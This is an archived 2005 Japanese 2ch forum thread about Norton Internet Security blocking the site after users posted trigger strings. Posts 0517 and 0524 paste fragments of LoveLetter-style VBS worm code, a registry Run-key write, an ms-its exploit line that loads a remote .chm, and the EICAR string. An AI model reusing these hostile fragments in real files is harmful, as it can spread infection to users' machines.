X
トップページ⇒運用情報
981コメント274KB
ノートン誤作動対策本部
■ このスレッドは過去ログ倉庫に格納されています
0001動け動けウゴウゴ２ちゃんねる
垢版 |
2005/11/28(月) 16:08:40ID:bR9gbCGm0
詳細: 侵入を検出して遮断しました。 news19.2ch.net(206.223.151.67) とのすべての通信は 30 分間にわたって遮断されます。
アドレスをクリックすると攻撃者を追跡できます
この攻撃について詳しくは シマンテック･セキュリティ･レスポンス
0478動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/01(木) 21:07:38ID:NgGuaDqu0
　 　＼　　__　　／
　 　＿　（ｍ）　＿ﾋﾟｺｰﾝ
　 　　　　|ミ|
　 　／ 　.｀´　 ＼
　　　　 ('A`)　そうだ諦めよう！
　　　　 ノヽノヽ
　　　　　 　くく
0479動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/01(木) 21:09:49ID:VVCYcTZd0
>>476
ありがとう！
見てみます
0481動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/01(木) 21:58:56ID:kJ795N2R0
フジスレにスレタイがこれのスレが
0482動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/01(木) 22:03:15ID:dNq4OE/f0
なんか、直ったっぽくねぇ？
気のせい？
0483動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/01(木) 22:33:57ID:fa798wEV0
あの、
【Norton Internet Security】
　　↓
【侵入防止】
　　↓
【AutoBlock】　　　　　　　　　　　　　　　　　　　　　　←
手動で【遮断しているコンピュータ】を【すべてを遮断解除】→↑

の繰り返しが安全じゃないですか？
0484動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/01(木) 22:42:48ID:7z8TtYrS0
コードが貼られたスレ（板）開く
↓
侵入検出
↓
遮断解除
↓
取得をやりなおす
↓
侵入検出
↓
以下ループ

穴あけないと使えない
0485動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/01(木) 22:49:36ID:UY8lxahn0
んなろー！ブラッドハウンドなんぞ貼ったやつ出てコイや！めんどくせー('A`)
さっきは実況ｃｈＴＸでも検出したぞ
0487動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/01(木) 23:36:42ID:BF/Q6J/m0
なんかスレの流れが変。

「危険が嫌ならFW乗り換えろ」って意見は多数出る。
しかし金出して買った権利どうすんだ？

ユーザーに誤作動の責任なんか無いぞ。
乗り換えるにしても誤作動が原因なら当然返金だよな？

正規ユーザーがおらんのか？　工作員が邪魔してるのか？
0488動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/01(木) 23:41:35ID:WIUt1ZNZ0
>>487
442 名前：動け動けウゴウゴ２ちゃんねる 投稿日：2005/11/29(火) 15:01:54 ID:eTCs9aYs0(1)
＞運営の人
ノートン誤作動の件なんだけど明らかに狙って書き込みしてるんだから
特定文字列を書き込みしようとした人を強制バーボンとかしてもいいんじゃないの？

448 名前： ◆SSu.zv/rvs 投稿日：2005/11/29(火) 15:14:32 ID:zBqE3jpw0
淘汰されなきゃね、
生き残りを手伝う気はさらさらないっす

449 名前： ◆MUMUMUhnYI 投稿日：2005/11/29(火) 15:18:01 ID:VEIDKG1+0
そんな迷惑なソフトなんて、自然にまかせてなくなるべきだって、
おじさんはゆうだろうな。

私も、そう思っていたり。
0491動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/01(木) 23:49:34ID:BF/Q6J/m0
>>488
誤作動するのは2chだけか？

>>489
代わりは？　マックか？　リナか？　トロンか？

OS換えるよりFW交換の方が安くて早い。
選択肢もOSより多い。

なにより
「ゲイツさん、ノートンが誤作動します。OS代金返して」
「ノートンに言え。他のソフトじゃ誤作動しない。」
で終了。
0492動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/01(木) 23:58:45ID:UY8lxahn0
>>486
えーと、言葉足らずだったかな
めんどくせーのは、検出されるたびにそのＩＰを信頼リストに入れるのが、ってこと
（ま、２ｃｈすべて信頼済みにすればいいんだろけど）
実動作しない単に貼られた文字列に反応するノートン先生もトンチキだけど、
そもそもそういうのを貼るのが困ったもんだわ('A`)
0498動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/02(金) 11:12:45ID:cheTjBMl0
181 ◆Reffiz2Zh. sage 2005/11/28(月) 11:34:22 ID:BlBjwc9/0
>178
新手のノートントラップです。
ここじゃ、明かせないのでメールにて説明しますね。
186 ◆MUMUMUhnYI sage 2005/11/28(月) 11:51:32 ID:/3xX5FyA0
>>181
メール届きました。
ううむ。なんだかなぁ。
188 ◆MUMUMUhnYI sage 2005/11/28(月) 11:52:48 ID:/3xX5FyA0
とりあえず、問題の本質は理解したです。
ノートントラップというか、問題はもっと根が深いかんじですね。
公開情報ではありますが、確かに現段階では、ここに書くのははばかられるです。
194 ◆MUMUMUhnYI sage 2005/11/28(月) 11:56:51 ID:/3xX5FyA0
ひとことだけ。
「ノートンから除外した場合(というか一般的に当然ですが)には、
不審なリンクは不用意にクリックしない」
とゆうことで。


･･･なんか裏で極秘プロジェクトでも進んでるの？
0499動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/02(金) 11:32:13ID:CS5/4izN0
>>498
公開の場に詳しく書くと、見る人が見た時悪用できるって事だと思う。
最後のは「ノートンの防御機能を無効にしたらユーザーが気をつける」
むむむさんが書いてる通り当然のこと。
ってかノートン入れてても怪しいリンクを安易に踏まないのは基本。
0500大空寺あゆ親衛隊 HELVA ◆THYOQYTAXA
垢版 |
2005/12/02(金) 11:46:51ID:ha+3nG/10
ウチも2ちゃんねるをおうえんしています
0501動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/02(金) 13:07:35ID:cnBkrw7B0
もう落ち着いたのか？
0503動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/02(金) 13:34:57ID:NVBOvwGY0
侵入防止のHTTP MSIE javaScript OnLoad Rte CodeExecに
更に細かく除外するコンピュータの設定がついてれば今より少しは安心出来るのに
まあそこまで細かくしすぎると管理し辛いか
0504動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/02(金) 14:52:00ID:8ba/exXp0
昨日からノートン入れた者なのですが
ニュー速のスレを開いたら何者かが侵入を試みたので防ぎましたみたいなのが
出てそれからΝ速、＋、共に見れなくなりました・・・
0510動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/02(金) 20:42:10ID:IHq1xYI10
<body onload=window()>
テスト
0511動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/02(金) 22:05:12ID:h5gB50Dy0
>>510
氏ね。
0512動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/02(金) 22:07:34ID:6e6XLCLy0
>>511
<body onload=window()>
0513動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/03(土) 00:55:30ID:r4GdU0C10
あぼーん
0514動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/03(土) 10:44:32ID:F4mYTX8O0
これが原因だったのか！！！
0515動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/03(土) 10:55:30ID:5PagNx8c0
今は間カフィのほうのPCでアクセスしてるからこのスレがちゃんと見えるけど、
野トンだと>>509以降の表示がぶっ壊れるよ
なにやってんだかな、野トン先生orz
0516シラネーヨ
垢版 |
2005/12/03(土) 11:15:23ID:H4hlwyNK0
シラネーヨ
0517動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/03(土) 20:13:14ID:xBom7gmX0
どれどれ。実験。

c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 　　
ms-its:mhtml:file://c:\　
kak.hta';ken=wd+'START
End Sub
0518動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/03(土) 20:49:29ID:3AOyRztk0
　　 　　　∬
　 　　　　酒 (´д｀)　　＜　俺、知ってるよ…。
　　　　 ========　 ＼
　　　／※※※※ゞﾉ　,_）
　　~~~~~~~~~~~~~~~~
0521動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/04(日) 04:28:24ID:X+Ww/b+O0
>>510
氏ね

>>512
お前も氏ね

>>517
お前は氏ねじゃなくて死ね！
0522動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/04(日) 04:37:08ID:h85ucp1x0
かきこむ
0523動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/04(日) 12:26:49ID:50GK9X4n0
英語ばかりで読めないな。
0524http://h.pic.to/30ayt
垢版 |
2005/12/04(日) 12:37:37ID:EpZg83SWO
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 　　
ms-its:mhtml:file://c:\　
kak.hta';ken=wd+'START
End Sub
0529動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/05(月) 17:48:16ID:5iffv5U70
ホントに無問題なのか！？
確かに反応はしなくなるが、それを逆手に利用しLogフォルダを狙ってくるかもと妄想してみる
まだじゃまくさいが*.dat毎に設定した方が…
0540動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/07(水) 22:38:17ID:p1e7f/VT0
ノートンの
侵入阻止→拡張→HTTP MSIE javaScript OnLoad Rte CodeExec
のチェックはずして、
オミトロンの
Onload Unloader
をオンにスルだけで解決するんだが。

何をそんなに騒ぐ。
0542動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/08(木) 01:43:07ID:J0d2TFmr0
専ブラはdatしか読みに行かないから、ノートンのチェック外しても
何ら問題は無い。

問題はIEの味噌も糞も一緒くたにとっとくテンポラリフォルダだ。
これもブラウザ閉じた時にキャッシュを削除する設定にしておけば
多少は安心だろう。
0544動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/10(土) 21:42:55ID:L+GgO2q30
いきなりフジ実況見れなくなった。。。
まとめサイトの対策してるのに
0549動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/12(月) 23:00:52ID:6AEQSNlY0
<body onload=あwindow()>　ms-its:あmhtml:file://c:\

誤作動うぜぇー
0550動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/13(火) 00:03:08ID:EccYzO0u0
0555動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/13(火) 01:15:55ID:ct+jZ+de0
ノートンの信頼ゾーンから例のアドレス群を削除してもまったく問題なし。
どうやらこの前のupdateで、Symantecが対応したようだ。
まあ、定義ファイルちょこっといじるだけだしね。
0559動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/13(火) 07:12:17ID:yYTaEYqU0
2006でアップデートしてみた
何故か専用ブラウザ（JaneDoeView）だと問題なくなったけど
IEで見ると以前と同じように侵入防止される
0561動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/13(火) 13:26:01ID:Mc0lYOUq0
2chブラウザを使ってると、ログの再取得をしないから、反応しないだけ。
ログを一旦消して、誤爆文字列を再読み込みさせると遮断されるよw
0562動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/13(火) 16:33:49ID:Fiu/blpC0
ん？
2005＋かちゅだけど、ログ消して再取得してもまったく問題ないよ。
確かこのスレにもコード張ってあったよね。
該当スレ削除されてるのかな？
数日前から信頼ゾーン元に戻してあちこち見てるけど、一度も遮断は起きてない。
0570動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/13(火) 21:21:25ID:qGOg/NGt0
今日2006インスコ→LiveUpdateした後
JaneDoeStyleでこのスレ開いてみたけど大丈夫でした。
（もちろん、ログ再所得済）
ただし>>559同様、IEはダメ。
一度IEで開くと、その後はJaneでもダメ。

0572動け動けウゴウゴ２ちゃんねる
垢版 |
2005/12/13(火) 21:39:18ID:mvJZvZGa0
2ch側で何か対策した？
専用ブラウザでの閲覧は現在問題無しみたいだ。
もちろんログ消去をやった上で。
少なくても日曜日の段階では、自分も専用ブラウザの閲覧でトラップに引っ掛かっていた。


317 名前：名無しさん＠お腹いっぱい。 [sage] 投稿日：2005/12/11(日) 14:25:00
2005は直ってないの？直ってたら乗り換えようと思ってるんだけど

318 名前：名無しさん＠お腹いっぱい。 [] 投稿日：2005/12/11(日) 14:50:13
2006が直った言うのはマジですか？

319 名前：名無しさん＠お腹いっぱい。 [sage] 投稿日：2005/12/11(日) 14:58:53
2006直ってないよ。
シグネチャ更新しても、問題のヤツはそのまま残ってて、いきなり遮断されたしw
プログラム本体の更新が無い限り直らんでしょ？これ。
ホントに直った人いるの？

320 名前：名無しさん＠お腹いっぱい。 [sage] 投稿日：2005/12/11(日) 15:00:33
また工作員の虚言か！

321 名前：297 [sage] 投稿日：2005/12/11(日) 15:00:54
ありがとう。
やってみるよ。

322 名前：名無しさん＠お腹いっぱい。 [sage] 投稿日：2005/12/11(日) 15:27:18
あれ・・・DL板で更新したら問題なく更新されたんで直ったと思ったが何回かやってると遮断してるな・・＠2004
なんじゃこりゃ


で、IEによる閲覧では現在も遮断される事から、最新のアップデートでもノートントラップが対応出来ていないのは明らか。
どーなってんの？？？
■ このスレッドは過去ログ倉庫に格納されています
ニューススポーツなんでも実況